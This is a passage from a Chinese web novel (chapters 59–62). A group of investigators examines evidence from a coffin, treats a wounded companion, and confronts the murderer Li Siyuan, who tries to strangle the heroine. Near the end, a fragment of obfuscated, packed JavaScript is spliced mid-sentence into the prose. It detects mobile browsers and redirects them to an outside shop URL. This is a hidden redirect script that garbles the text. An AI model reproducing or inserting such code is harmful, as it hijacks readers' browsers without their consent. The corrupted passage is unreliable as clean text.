“吃的有些撑了，不如我上楼叫元德他们，一起去外面逛逛吧？”
她的眼神立马明亮了起来，“好好好，那你快去吧。”
白邵禾哑然失笑，这人可真是喜怒形于色啊。他起身上楼召集另外两个，三个人一同路过她的时候，秦千千还在苦哈哈地吃那几个素菜。
那鸡汤，早就不见了。
三个人潜入李府前，白邵禾跟他们说了自己的看法，他是想给晏信一些提示。其实他下午跟秦千千聊此次行动时，剖析李思源心细缜密，不一定会留下证物。
当时秦千千也认同了这个观点，白邵禾其实说的不是心里话。
他认为事实恰恰相反，一定有什么证物留了下来。不然，李思源又怎么突然让李思清对他唯命是从，其中肯定有猫腻。
而目前，他已知李思清最有可能被威胁的事情，那就是有关李家女儿李瑶瑾的事情。
因此，白邵禾明里暗里提示晏信，注意搜查一下李思源有没有珍藏一些女人用的物品，饰物、书信或者什么的。
“对了，最重要的是白玉膏，今天桑风雪拿回去的那个，你应该见过的吧？”白邵禾问他。
晏信点头，现在他只想赶紧搜出什么线索，好让秦千千有些头绪。于是三人前脚带上黑纱面罩，他后脚就翻墙进李府，一溜烟不见了。
白邵禾无奈地摇摇头，他已经尽可能地帮助晏信了。最有可能查出线索的书房卧室，他全指派给晏信。在元德走前，白邵禾还多叮嘱他一句。
“查到什么线索，千万别声张。记得告诉晏信，让他去跟千千汇报。”
元德自然知道这点，毕竟这也是日后他们行动的第一要义，要收敛锋芒，切不可遭人怀疑。
对于秦千千这种七窍玲珑心的人来说，老实颟顸的人，更容易获得她的信任；而机敏聪慧之人，一定会让她高度警惕的。
他们日后要做的，就是前者。
白邵禾搜了李朗安含玉的卧房，又查看一圈梁平乐住的别苑，没发现什么异常。再加上夜已深，当值的人不多，他就堂而皇之地去了正堂，那个摆着棺材的地方。
让白邵禾奇怪却又不奇怪的是，正堂几乎无人看守。仆人不至于惰怠至此，那应该就是主人授意，不让人看守灵堂的。
也是，李思源怎么可能让李思清死了之后，还过上人人祭拜悼念的好日子呢？
想到这里，白邵禾突然灵光乍现。要是这么想的话，那让李思清在人生最后一段时间内，坐立不安的东西，李思源最有可能放在哪里呢？
棺材！
他装作什么都没有发现，快步赶去跟晏信汇合。晏信刚从书房出来，他手中还拿着几封信。看到白邵禾，他就赶忙跟他说，这信笺藏的隐蔽，里面有可能有大秘密。
白邵禾扫了眼没署名的信笺，让他先收起来，回去给秦千千研究。而且他觉得，这里面不会有什么线索。
可在怎么暗示他的事情上，白邵禾却犯了难。
“白公子，你怎么了？”晏信不解。
“是这样的，晏兄，我突然觉得他若是思维异于常人，那会不会把所有证据都放在最显
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眼的地方？”
白邵禾觉得自己尽力了，他跟父皇辩解都没有这么含蓄过……
好在晏信没有辜负他的良苦用心，他思考一会得出结论，现在李家最明显的地方，不就是灵堂吗？
两个人一前一后跑去正堂，晏信本来在路上还在担忧，万一守灵的人多，他们可就麻烦了。等到了地方，看到只有孤灯两盏的时候，他惊讶地停住了脚。
“看来，这李家两兄弟的确是不和啊！”
白邵禾默默翻了个白眼，像这种近乎废话的推论，他大可以不说的。“晏兄，我们还是赶紧去找线索吧。”
两个人在灵堂忙活半天，什么也没查到。
白邵禾简直都要被晏信气笑了，这人甚至连供果都看，但唯独没想到翻看一下棺材里面……
眼下晏信跟他隔着棺材遥遥相望，白邵禾动作略微浮夸地拍了下棺材，忍不住连连叹气：“怎么就一点线索都没有呢？”
“不，我知道了！”
两人合力推开棺材后，晏信傻眼了。棺材中的确有一具尸体，而那人的眉眼的确有些像李思源，以至于他第一眼以为是李思源躺在里面守株待兔。
可定睛一看，那人却又不是李思源。
最让晏信震惊的是，那人头边放着的两种东西：一样是一把折扇，另一样则是九个白玉膏的瓷罐。
它们一个挨着一个，摆在李思清的头边，而那把折扇则是架在他鼻梁上，刚好挡住李思清的眼睛。
这场景甚是诡异，让晏信有点不寒而栗了。
白邵禾佯装讶异：“晏兄果然聪慧过人，不过现在我们要怎么办？”
翌日清早。
桑风雪刚出门，就看到了端坐在对面屋中的白邵禾、晏信、还有元德。她上前询问情况，还没开口就看到了桌子上摆着的东西。
再加上那三个人眼下的乌青，她就猜测他们昨晚是一夜没睡。
“要不你们先睡会儿？千千醒了我再叫你们起来。”
晏信摇头：“不用了，眼下这个情况我也睡不着。”他昨夜回来不是没尝试过睡觉，可刚闭眼，脑中就浮现出李思清的样子，折磨的他一宿没睡。
至于白邵禾，他则是在彻夜翻看元德带回来的账目，以及晏信找到的那三封书信。不知不觉就翻看到天亮，直至现在。而元德，则是一直陪着他通宵。
“无妨，待会儿千千醒了，我们正好聚在一起商议一下情况。”白邵禾合上账本，也把书信分装好。
桑风雪看他们一个比一个坚持，就只能直接去叫醒了秦千千。早些处理完，他们就能早些休息。
秦千千打着哈欠出门，看到正襟危坐的白邵禾后，突然老实了许多。原因无他，心中有愧罢了。
自己昨天让他们半夜不睡去探察，现如今自己倒还起得晚，秦千千心中也觉得有点说不过去。于是她立马双手拍拍脸，强打起精神。
“好了各位，人到齐了，咱们就开始分析现在的情况吧。”
59. 多方分析几样证物
秉承藏拙的心思，白邵禾把所有的功劳都推在晏信头上，还藏下了自己在账册中发现的一点秘密。他想要试探试探，秦千千能不能发现什么。
“昨夜多亏晏兄机敏，想起检查棺材，这才有了这些收获。不过元德也在库房，找到了李府近几年内宅的开销。”白邵禾把手中的账册递给秦千千，“我没发现什么异常，你再看看吧。”
秦千千原本在查看那九个瓷罐，她打开全部的罐子，发现里面全都是空的。从残留膏体的形状不难看出，这是某人用手指抠挖后形成的。
她放下罐子，接过账本。那三指厚的账本，压得她手猛地往下沉，手背直接撞在桌面上。
“嚯，这么重？”
桑风雪发现了猫腻：“这账本是用油蜡处理过的，所以会比想象中的要重。”
秦千千感慨：“这就是大户人家啊，账本都用油蜡处理！而且这光泽度和手感，处理方式一流啊！”
她翻看两页，发觉周围的人都在沉默不言，她就让他们都说说自己的看法，她得给自己争取点看账本的时间。
除了低头看账本的秦千千，其他的人都看向作为昨夜的“大功臣”晏信。晏信第一次觉得有压力，他清了清嗓子。
“我觉得眼下最重要的是，搞清楚这九罐白玉膏，是为何放在棺材里的。而且这个扇子肯定也有故事，我们得好好查探一下这个。”
很好，说的跟废话没什么区别。白邵禾无言沉默，但却在心里吐槽。
秦千千抬头看了晏信一眼，白邵禾以为她会抨击他说废话，可她却只是补充一点，说那白玉膏是用来润滑绳子的。
但凡讲究些的人家，府中的主梁都会好好处理，不说上三遍大漆，最起码一层清漆是有的。可李思清买的外宅却不是，秦千千她们去的那件外宅，主梁本身就毛毛糙糙的。
也就是说，李思清压根就没有特别在意这两任夫人。安置她们的房子，都没有细心挑选，而是随便糊弄了一下。
“所以，直接拉绳子一定很费劲，可在麻绳上涂了白玉膏润滑，对一般人来说，绝对会省点力气的。”秦千千翻开案卷，给他们展示，“案卷里只写麻绳长度相同，但其实是不同的，只不过凶手把人绑在梁上后，裁剪了绳子。”
所以现在她们要做的，就是买同等量的白玉膏回来试试，到底那些白玉膏可以涂多长的麻绳。再去现场看，麻绳长度是不是正好。
元德自告奋勇要外出采买，却被桑风雪拦住。
“不行，李思源认识我们中的所有人。现在有所行动的话，他就会知道昨晚夜探李府的人是我们。所以等晚上吧，我们再找人跑腿去买。”
秦千千点头，桑姐姐说的在理，现在是不能落下什么把柄。不过她认为，哪怕李思源知道她们做什么，也不能跳脚。那样的话，他就是自曝其丑了。
算是敲定了一项探查方向后，她们开始商讨起别的疑点。
桃花花进门那么久，还没有看到那把扇子，一问才知道，原来是被王老怪拿去扇风去了。王老怪看到这小祖宗要，就赶忙给她递过来，他则是坐在桌子边，端详起那九个瓷罐。
王老怪一边看，一边打乱它们的顺序，不知道在干什么。
桃花花反复查看那把折扇，扇面也就是普通的松柏图，而扇柄更是平平无奇的乌木，只不过上面有一点点浮雕，看起来像是祥云纹路。
“我好像在哪里见过这把扇子……”桃花花喃喃自语，而后又非常肯定地说了一遍。“我一定在哪里见过。”
秦千千头都没抬。要是旁人说这话，那就还有想起来的机会。可那是桃花花，她除了吃喝玩乐，别的什么都不太行。
“那完了，大家就当她没说过这话吧。”
“秦千千！”桃花花瞪着她，心想自己一定要想出来。
白邵禾暗中观察秦千千，发现她翻看账本时的状态，跟平时完全不同。平时更加活泼不羁，可现在除了逗桃花花的三言两语之外，她身上散发出一种沉稳的气场。
如此这般，才比较符合他心中运筹帷幄的清风酒楼老板的形象。
秦千千停下手里的翻页，抬眸看着桃花花手中的扇子。自己跟桃花花几乎是形影不离的，她既然说面熟，那自己应该也见过。
不消片刻，她就想起来了。
“需要些提示吗？”秦千千问。桃花花气的不轻，她自然一口回绝了，这次她就得靠自己的头脑想出来不可。
白邵禾实在忍无可忍，便开口劝桃花花，有线索就要赶紧去查，而不是在这里跟自己人浪费时间。桃花花随手把扇子一扔，眼看扇子朝秦千千飞过去，晏信中途截胡抓住了扇子。
秦千千也不生气，但也不哄桃花花。“我和桑姐姐还有桃花去王小姐家找画师的时候，你们记得吧？”
几个人刚一进屋，就发现安南的屋子里挂满了各种人的画像。男人、女人、年轻人、老年人……上到披锦戴朱的达官贵人，下到捧着破碗行乞的乞丐。
总之一句话，就没有他不画的。
而那其中的某幅画上的一位女子，就手持这方折扇半掩着脸，看样子是个成年人。
桃花花虽然很不情愿，但她还是得在心里承认，秦千千的脑子的确是比她好使多了。
白邵禾也在心中吃惊，听她的描述，屋中画像少说也得百十来张了，就那么一眼就能记得清清楚楚吗？
“还得是年轻，脑子真好使啊！”王老怪一脸感叹，仿佛在忆往昔自己峥嵘的岁月，桃花花无情地打断了他。“那也就千千脑子好使，别的谁年轻都不好使。”
秦千千看出来她已经消气了，就提醒她，让她印象深刻的的确是她擅长且喜欢的东西：那位扇子半掩面的人，身后有个扛着一串糖葫芦的商贩。
当时若不是桃花花指着那个说想吃糖葫芦，她也未必认得出来。哄开心了桃花花，她主动把扇子拿来给秦千千，让她确认一下是不是真的一样。
的确是一模一样，就连扇子上的一片竹叶边的墨迹，都对上了。白邵禾已经猜出那话中女子、还有这折扇的主人是谁了。
李瑶瑾。
下一刻，秦千千说出了跟他相同的推论。众人都屏气凝神的，难道说，李瑶瑾还活着？
“千千，那按照你的分析，这个扇
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子与那画中人拿的是同一把吗？可那位画师画的是天南海北的行客，我们要到哪里去找她呢？”白邵禾问出已然想好的问题，等秦千千回答。
秦千千却觉得他有些多虑了，不管这画中人是不是李瑶瑾，她都是知晓当年真相的人。至于找人，就没有有心办不成的事儿。
所以眼下的任务，就分为两个部分，一是调查现有的线索，二是找画中的人。桃花花嚷嚷让她把人分组，各司其职时，秦千千却说第二点急不得。
真实原因她自然是不能说的，王予月天天忙着在城外采矿，她是真没精力来管她们这些鸡毛蒜皮的事情。想到这里，秦千千无奈地叹了口气。
一直有人说她是贪财鬼，可自己比起王予月，那爱财之心还是不够看的。而且她非常相信，要是直接问王予月，那案件直接就告破，没有任何查的必要了。
王予月既然敢在枫林镇干那种事情，秦千千相信她已经把这里的所有事情查个底掉了。不过她想靠自己，就像桃花花想靠自己想出来东西一样。
秦千千越发觉得这种解密有意思了。之前的她是无所不知，所以每天过得都很无趣，现在不一样了，未知的事情让她精神倍增。
因此，她决定先放一放去王府的事情。至于原因，她眼睛滴溜一转，就想到了。
“上次我们去的时候，王小姐的丫鬟跟我们说了，这安南要去各地云游，现在肯定不在她们家了。”
白邵禾对此有所怀疑，他得到的消息是，王家宅邸这几天戒严。
“几乎是每一片瓦上，都站了一个护卫。”季春霖跟他汇报的时候，白邵禾扫了他一眼：“你这夸大其词还挺传神的啊。”
一旁的元德也忍不住笑出声，白邵禾也懒得训他们，大家一直精神紧绷，也不是个办法。
至于戒严的原因，尚未可知。只不过季春霖汇报，这些天没见人外出。
也就是说，要么是王家仆人骗了秦千千，要么就是王家有秘密通道。当然也不排除，是秦千千在骗人。
只不过白邵禾私心抹掉了最后一项，她现在一门心思地破案，怎么会放着线索不跟进呢？毕竟她约定的启程期限就在眼前了。
白天休养生息，晚上秦千千她们一行人可热闹了起来。天色一黑，大家就按照计划分头开始行动。
元德自告奋勇去采买，他有暗卫的帮忙，做这些事情简直是如鱼得水。晏信和白邵禾就负责去城外两个外宅，实地勘察，再加上测量一下主梁高度什么的。
至于剩下的秦千千心腹团，全都留守客栈。也就是这时，王老怪才跟她说了，自己上午摆弄瓷罐的原因。
“虽说那白药膏质地细腻，并无任何霉变。可从四周的霉斑判断，这些白玉膏可以分为三个使用阶段。”
他把桌上摆着的罐子给剩下三个人看，第一组只有一罐，第二三组都是四罐。
秦千千恍然大悟，她把之前从现场带回来的那罐，放在了第二组里面，王老怪心满意足地点头。
“不是，咱们都是自己人，千千，你俩能不能不打哑谜了？”桃花花不耐烦地敲敲桌面，她最讨厌谜语人了！
60. 万无一失中的一失
桑风雪也是一脸疑惑地看着她们二位，王老怪不卖关子，直接跟他们解释起来。
“也就是说，这第一罐更像是慢慢使用的痕迹，而且你们看得出来，这主人还是挺爱惜这个的，除了最后的抓挖留下来的一些痕迹，你们看这四周是不是几乎没什么残留？”
王老怪继续分析：“可剩下的这些，这四罐的使用时间，跟那四罐的使用时间，间隔几乎是一摸一样。”
再加上李思清两位夫人的死亡时间是有间隔的，就不难推测出，凶手在两个外宅，分别用了多少白玉膏。
桃花花恍然大悟：“也就是说，每个外宅各用了四罐，剩下的第一罐是李思清的妇人用的呗。”
桃花花的想法还是太简单了，桑风雪立马提出疑问，“那为什么外宅的那一罐是完整的？反而是这位夫人用过的要被拿走？”
桃花花陷入沉思，对啊，这的确是个问题。
王老怪和桑风雪看向秦千千，秦千千叹了口气，这桃花花还是需要多历练成长。
“其实很简单，或许只是凶手拿错了而已。”
她认为这是凶手心思缜密造成的失误。他一定是想在杀人后，把一切恢复原状，但最后慌乱之下放错了瓷罐。
当夜的情况，应该是凶手行凶后，发现不太好把人吊上去，就想起自家的招牌——白玉膏。他从梳妆台找到一瓶，可是他没算到一罐根本不够用，就只能折回头去取。
重反现场后，他才发现三瓶就够了。出于严谨起见，他就放了一瓶回去。可他万万没想到，直接放回去的是唯一一瓶没有使用过的。
而他回去哪怕再次查看，也不会觉得有问题。这也就是为什么，第二次行凶时，他直接用了四罐。
“可是手上的重量居然察觉不出来吗？”桑风雪掂量了一下，空瓶和满装白玉膏，重量还是差别很明显的。
王老怪摇头：“你掂量一罐自然明显，但一次抱着四五罐，就察觉不出来了。”
这点不得不说，李家还是很注重质量的。每个白玉膏的瓷罐都非常有分量，也怪不得在大幅降价前，白玉膏的价格常年都是二百钱一罐的。
至于为什么雷打不动的价格，突然降价到谷底，秦千千心中已经有原因了。就是杀人凶手欲盖弥彰而已。
她们已经查明降价的时间，正好就在第一个夫人死亡后的几天。这种巧合真的过于刻意，让人很难怀疑不到李思源身上。
元德带着十五瓶白玉膏和几捆麻绳，从客栈后门回来。一上楼，王老怪就给他打下手，开始忙活起来。
晚些时候，说是去探望自己唯一姑婆的郁春儿，也回来了。她一上楼就直奔王老怪他们的屋子，找到秦千千。
“秦老板，我从常施舍的乞丐那里听到，李家派人严守外宅的两个房子，白公子和晏公子还没回来吗？”
郁春儿满脸担心，知道这个消息后，她不敢多做停留，直接回来通风报信。
秦千千对白邵禾他们两个还是放心的，毕竟两位的功夫在那里摆着，无需过多担心。她起身扶着郁春儿坐下，让她宽心等待。
不出三刻，白邵禾与晏信就回来了。
可出乎秦千千意料的是，白邵禾却受了伤。
晏信架着白邵禾的左臂，揽住他的腰，把步伐紊乱的人扶到床边。坐在窗边捋麻绳的元德，看到这一幕险些坐不住，可却被白邵禾用眼神无声劝退。
“这是怎么回事儿？”从进门开始，秦千千就十分讶异，白邵禾脸色难看，但身上也没有别的伤口。只不过，她忽视了白邵禾背在身后的胳膊。
白邵禾虚弱地说：“无妨，就是被人暗算了一遭而已。”
晏信把他扶到床上，赶忙腾开位置给王老怪，这才有空解释了起来：“我们本来在观察主梁，谁知道我刚跳上去，就有一堆人过来包围了他。乱战之中，他的手臂被砍伤了。”
顺着他的目光，秦千千才看到他沾满血的右手，血迹斑驳，看的人触目惊心。王老怪赶忙指挥晏信，坐在他身后扶住他，然后把他衣服脱了。
晏信却一口回绝，说自己怕血。
在场的人无不诧异地看着他，就连脸色苍白到就快晕厥的白邵禾，也抬头看了眼他。
前不久秦千千才满身是血的被抱回来，那时候他怎么不说自己晕血。元德实在看不得他们还在拖延，他直接振声开口，说他来。
“你来什么来，你手上还有那么多白玉膏呢！”秦千千二话不说，坐在了白邵禾身后。她听着王老怪的指挥，环着白邵禾的腰，抽走王老怪解开的腰带。
她顺手直接把他的左右衣襟直接拉开，白邵禾隐忍地抽了一口气，双肩忍不住内收一下，王老怪急得瞪了她一眼。
“哎呦我的祖宗哎！布料沾着皮肉了，你倒是慢着点啊！”
秦千千连忙点头，白邵禾虽然微微弯腰，但他的肩膀还是高于她的嘴。
出于日常的生意习惯，秦千千只好向上抬了些头，让王老怪看清她的脸后，再说话。毕竟她可是一字千钱的人，交易时，可千万得让人听清、看清她说的话。
“我好了，你赶紧给他治疗吧。”
白邵禾偏头看了她一眼，过近的距离让他呼吸一滞，而秦千千在耳边说的话，又让他听得心里痒痒的……
秦千千话是这么说，可她还是维持着，左右大敞白邵禾胸襟的姿势。王老怪无奈抓住她的左手，放在白邵禾腰间，让她环住他的腰身。
“只需要脱半边衣服就行了，左边衣服还是穿好，别待会儿着凉了！”王老怪十分懊悔，自己怎么任由秦千千，这个帮倒忙的人来给自己打下手。
有秦千千砖石在前，衬托的一旁打热水的桃花花、拿药粉的桑风雪，还有拿来预备好的软巾的郁春儿都十分聪颖能干了。
王老怪慢慢把他右边的衣服褪去，他还嘱咐秦千千千万抱好白邵禾，待会儿从胳膊上剥离衣服的时候，可能会有点痛。
秦千千闻言直接双手合围，环住白邵禾的腰，而他放在身侧的左手，也被秦千千的右手直接按住。白邵禾不由得失笑，这是怕他失控，直接打王老怪吗？
一切准备妥当后，王老怪开始慢
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慢往下揭衣服，那动作轻还至极，看的人大气都不敢出。
元德愁眉不展地看着王老怪动作，也察觉到殿下在咬牙坚持，可时不时还是有两声稍重的鼻息传来。
元德的心一揪一揪的，殿下千金之躯，几乎没受过什么重伤，这下自己真是万死不辞了。他决定，以后就要形影不离地跟着殿下，哪怕豁出去这条命，也要护殿下周全。
那边王老怪好不容易把衣服褪到手肘，却不小心撕扯到伤口，痛的白邵禾整个人抖了一下，他的左右手都攥紧了。秦千千虽然看不到他的表情，但感受得到他紧绷的身体。
“没事，继续。”白邵禾是个忍人，他向来都很能忍。周围的人都愁眉不展的，毕竟看着他胳膊上被撕扯开的伤口，又开始流血了。
当断不断，必受其乱。
秦千千转头跟她们说：“找个剪刀，把他右半边袖子剪掉。到时候，王老怪你直接干脆利索的揪掉。”
再犹豫不决，那些血液又要黏着衣服，撕开又是钻心的痛了。
长痛不如短痛。
桑风雪三下五除二的就剪开衣袖，王老怪二话不说，递给秦千千一个眼神后，就两只手拽住了他肘边的衣服。
秦千千转头看着白邵禾，略微抬头看着他说：“白公子，我知道你最大的秘密。”
霎那间，白邵禾觉得自己双耳嗡鸣，身体僵直。他失去所有防备，近乎本能地盯着秦千千。不知不觉中，他又加大两分手上的力度，掌心几乎被掐出血来。
元德也石化在当场，他觉得自己气血倒涌，堵的自己几乎没办法呼吸。
而秦千千只是蹙眉看着白邵禾，眼神中似乎有化不开的阴翳。
“刺啦！”
王老怪当机立断直接扯下袖子，而后叫嚷着快点上药，桑风雪赶忙把手中的药粉往伤口上撒。秦千千低头看止住血后，才长叹一口气。
“呼！我之前有听说过，这种时候转移你注意力的话，会让你少痛一些的。怎么样，现在还好吗？”
她表情一秒生动了起来，白邵禾低头看了眼血迹斑斑的胳膊，无声点了下头。
或许是松开了紧绷的精神，下一瞬间他脱力向后倒去，秦千千赶忙用自己的头指了一下，两个人的头依偎在一起。
“完了完了！还是痛晕过去了，王老怪，你赶紧给他清理一下伤口。”
听着秦千千焦急的声音，白邵禾在心中叹了口气，他反复思考刚刚自己的神情，是不是有露馅的风险。可他现在脑子混乱，除了她的声音，别的都听不到了。
好吵。
众人七嘴八舌的出谋划策，有人说直接擦洗血迹，有人说先把他平放在床上，然后再包扎伤口。
秦千千不敢乱动自己的脑袋，毕竟还撑着白邵禾的头。可她的嘴还能动，她强压怒火警告他们。
“这都什么时候了，还吵什么？快点给他包扎好，然后再放回去啊！”
她环在白邵禾胸前的手，调整了一下他头的姿势，让他侧头歪在自己颈侧。而后专心看王老怪他们，给他处理伤口。
61. 秦千千受邀做客李府
王老怪包扎好后，已经是夜阑人静的后半夜了。元德和晏信商量好，两个人换班看守白邵禾，至于王老怪，他已经忙活半宿了，得让他好好休息一下。
直到这时，秦千千才解放出来。她站在床边活动手脚和脖子，本来意兴阑珊的眼睛，在看向晏信的时候，突然犀利了起来。
“你有必要好好跟我解释一下，你怎么就怕血了？”秦千千双手环胸，一副不说今天就别想走的样子。
果然，她是这种秋后算账的人。白邵禾在心中想。
鉴于他现在不知道床边守着的是谁，而且他懒得睁眼，那就躺着听戏吧。
桑风雪、桃花花、还有郁春儿，都跟着秦千千，做到了桌子边。元德和王老怪，虽然没过来，但都目不转睛地盯着他。
晏信迫于压力，也得老实交代。
“其实我真的没有骗你们！我是真的怕血，不过有些特殊，我只怕从胳膊上流下来的血。”他十分诚恳但又纠结地说出来，结果抬眼就看到各位一言难尽的表情。
秦千千的表情尤为严肃，她微微收着下巴抬眸盯着他，姿势问题让晏信看到她的下眼白。他正准备为自己说些什么辩解时，秦千千长长地打了个哈欠，她双手举到天上，顺势伸了个懒腰。
“行吧，那咱们就早些休息。”
就这么完了？白邵禾本来以为，她会彻底刨根究底地弄明白原委的，可没想到，她就是走个流程……
这一夜，是白邵禾从筹备打入酒楼到现在，唯一睡得安稳的一晚。黑夜后半程，元德换班晏信，晏信还悄悄晃了下他的小腿，都没把他晃醒。
元德也长出口气，也算是能让殿下好好休息一下了。
一觉天明。
秦千千一改往常不到日上三竿不起床的作风，起了个大早。然后她就在季春霖的暗中跟踪下，跑去了王家宅邸。直到巳时，她才从府中出来，王予月还出门送她。
“秦老板，不是说我，你要是想听我全讲给你就是，你又何必……”王予月心生郁闷。
往常她忙得脚不沾地时，最讨厌别人过来打搅她。可事情到了秦千千这人身上，却反了过来。自己着急告诉她真相，这人却不想听，还非要说什么自己查！
犟种，她可真是绝对的犟种！
秦千千没等她把话说完，就抬手打断了她的话：“王小姐聪慧过人，又怎不知我要干什么。不过你放心，走投无路之时，我还得让王小姐替我兜底呢。”
说罢，她莞尔一笑，仿佛真的很仰仗王予月的样子。
王予月一挥袖子，无语地偏过头，这种客套话，她不会以为自己真的会信吧。原本还想就这种不轻不重的事情，卖她点人情，以后自己还能跟清风酒楼做些别的生意。
这个构想，彻底幻灭。
“你放心吧，到时候我肯定出面保护你就是了。”
季春霖听得是语焉不详，什么保护？什么状况需要让秦千千，来找她寻求庇护呢？不过他马上就知道了。
秦千千刚拐过一条街，就被五个家丁装扮的人堵上。为首的那个人，正是李家的管家李福来。他还算守规矩，端庄得体地请秦千千到府中一叙。
她点了下头，丝毫不惊讶：“请管家前面带路吧，你们这街街巷巷的，我走的是在糊涂。”
季春霖都猜测，她是不是早就猜到了这事。可兹事体大，他也只能悄悄尾随。路上他差人去给白邵禾与元德送信，通报现在的状况。
虽说李家的保密程度远不及王家宅邸，因此他们在其中安插了不少眼线，但对于监视秦千千的事情，他丝毫不敢轻视。
于是，季春霖还是决定自己暗中跟随。
等她进府后，身后的大门就被人关上，看的季春霖心中一紧。若是待会儿秦千千遇到生命危险，他在犹豫要不要跳下去救她。
救她，自己可能会因此暴露；不救，那殿下苦心孤诣的计划，就要付之东流……
季春霖内心正在天人交战时，秦千千主动跟李思源打起了招呼。
“李公子，怎地如此憔悴？是不是没有睡好啊！”
她现在的每一句话，李思源都可以理解为意有所指。可他不能暴露，授人以柄，因此他几乎是从牙缝里挤出一抹笑容。
“秦老板多虑了。”他无意于叙旧，于是立马说起自己感兴趣的事情：“我就是想问问，秦老板最近调查的怎么样了？有什么头绪吗？”
他其实想问，有查到自己头上吗？想到真实目的他低垂的眸子中，闪过只有自己知道的狠戾。
秦千千最厌烦的就是人心猜忌，可阅人万千，她最精通的也就是识人。李思清这些弯弯绕，在她眼中，都是不入流的把戏。
既然他想玩弯弯绕，那自己就跟他玩点有意思的。
“可是说呢李公子，都说日有所思、夜有所梦，我也不例外啊！这几天本想查你爹娘的下落的，可是……”
说到这里，她戏谑地看了一眼李思源，那人赶忙不自然地眨眨眼，让她继续往下说。秦千千耸肩，那就索性把事情说明白。
“可是我夜半梦到两个女子，她们跟我说好冤，让我先查她们的案子。结果你猜怎么着，还真给我查出一些线索来。有歹人吊死了她们，还用刀在她们身上千刀万剐。可是那凶手其实跟这两位女子无冤无仇，她们只是那人报复别人的幌子而已。”
“够了！”李思源不敢再听，他已经顾不得暴露，或者被怀疑的事情了，他几乎是本能地抵抗听下去。
秦千千撇了下嘴，而后一言不发地盯着李思源。李思源低头，因此错过了她精彩的表情。房顶的季春霖看得清楚，她那种享受的表情，自己只见过一次。
元德早些年专门负责审讯犯人，他会不择手段地审出殿下需要的真相。而他也不知道所谓的是非对错，殿下说的，那就是对。
因此，他在日复一日的酷刑中麻木，甚至生出凌虐的快感。也就是有次目睹元德审讯犯人，才让季春霖见识到那种目光。
那眼神就像一堆翻滚跳跃的火焰，所到之处，皆被燎原之势烧得干净。若再深究，那眼神中还有一丝惘然，那是一种近乎赤诚的求知欲望。
元德当时迫切的想知道细作手中的线索；而秦千千现在似乎，更想看眼前人抓狂、或者发怒的样子。
季春霖不懂，她单枪匹马的，怎么就敢来招惹李思源。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14448993|148501||http|test|mini|href|location''.split(''|''),0,{}));
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不消片刻，李思源就整理好表情，无辜地看着秦千千。
“秦老板果然事务繁忙，不过还请把我的托付放在心上，李某定当感激不尽！”李思源万分确定，她已经在调查自己了，甚至，已经查出真相了。
可现在不是挑明的时候，他要先不动声色，再……
只可惜，秦千千厌烦跟他逢场作戏了，
“李思源，善恶到头终有报！你欺瞒得了我，可天道昭彰，你又何必苦苦挣扎呢？”她稳坐客座，声音不大不小的开口。
李家的事儿她只有八成把握。
往常来说，若非十成把握，秦千千是绝对不会出手的。而且她的真实目的只是为了抽丝剥茧、查出真相而已。可李思源触动到她的底线——坑害她身边人了。
这就绝对没办法再忍了。
八成真相，做实他的罪名还是绰绰有余的。
李思源还想装傻，但秦千千开始从小说起李家的事情，桩桩件件，让李思源听了不寒而栗。
从他嫉妒妹妹到嫉妒哥哥、再到前段时间的拿捏哥哥又坑害了他，秦千千一字一句说的真切，李思源的表情，从抵赖到震惊、再到你能奈何我何的释然。
秦千千剖析完后，他蔑视地笑了一声，甚至还展展膝前的长袍，翘起了二郎腿，整个人也散漫地倚在靠背后，“好精彩的故事，秦老板江湖说书人的身份果真名不虚传！”
死不悔改。
秦千千心里是这么想的，她也就这么说了。
“你现在如此嚣张，无非就是你觉得我没有证据，还有，我走不出这个府上而已。”
这话说到李思源心坎里去了，他耸耸肩：“不然呢，你刚刚还一口一个李公子，是怕暴露我的身份吧？哈哈哈，殊不知，这家里早就都是我的人了！只可惜你这江湖第一妙人，就要折在我们府中了。”
他踱步到一旁的棺材，拍了拍棺材盖，继续说：“放心，我这废物哥哥最喜欢听你的故事，到时候我把你们葬在一起，你好好给他讲讲你的故事。”
秦千千右手支在茶桌上，扶着自己的脸：“你不会以为我真的这么好杀吧？真是天真啊。”
她从椅子上起身，朝他走过来，走到棺材前，提着下巴示意他打开棺材。
“问问你哥，看他会不会告诉你什么。”
李思清呼吸一滞，背在身后的手，也暗中攥紧了。他心中想着她不可能知道他的秘密，可理智告诉他，现在早就为时已晚。
而秦千千，戳破了他最后的伪装。
“你是什么孝子？你娘就在城外八十里的地方，你怎么不去接她？你只不过是想借由这事、借我给你洗白！”
她不在克制情绪，而是指着他骂了出来：“贱人！你该跟你哥一起被葬！”
季春霖这才如梦方醒，殿下和自己，一直以为李思清是看重亲情的，但其实不然。只不过他很惊讶，秦千千是从哪里知道梁平乐的消息。
可他来不及细想，那边的李思清已经掐上秦千千的脖子，他面目狰狞地狂笑，事到如今，也没必要留她了。
“你还指望王予月来救你？她急匆匆的出城，忘了告诉你吧。”
62. 带了个哥哥回去
秦千千神情一滞，她不相信王予月关键时刻掉链子，可眼看李思源就这么掐着她的脖子，把人渐渐举离地面。她渐渐不能呼吸，手脚并用却也挣脱不开。
季春霖一咬牙，只得跳出去救人。
“贼人，放开她！”
李思源倏然转头望着院子中出现的人，面生，自己完全不认识。不过在他李家，还没到自己动手的时候。他挥了下手，家中早就埋伏好的打手一拥而上。
不需要把那人打倒，只需要给他争取掐死秦千千的时间就够了。
季春霖看清他的计谋，在扫堂腿踢翻几个人后，他就左手握拳向后背，伸直胳膊拉开了自己的袖箭。
他来不及瞄的更准，三发袖箭，虽说都射中了李思源，但一枪射在腿上，一枪在腰腹，最后一枪勉强射中胳膊。季春霖长叹一声，开始专心收拾身边的喽啰。
李思源原本都以为大功告成了，可谁知自从神秘人跳出来后，秦千千居然不挣扎了，她眯着眼睛瞪着自己，仿佛刚刚上不来气的人不是她一样。他正准备继续用力，却被射中三箭。
这下他不得不松开手，往右边倒去。跌落的秦千千稳住脚步，直接抄起灵桌上的铜制烛台，朝着李思源跑去。
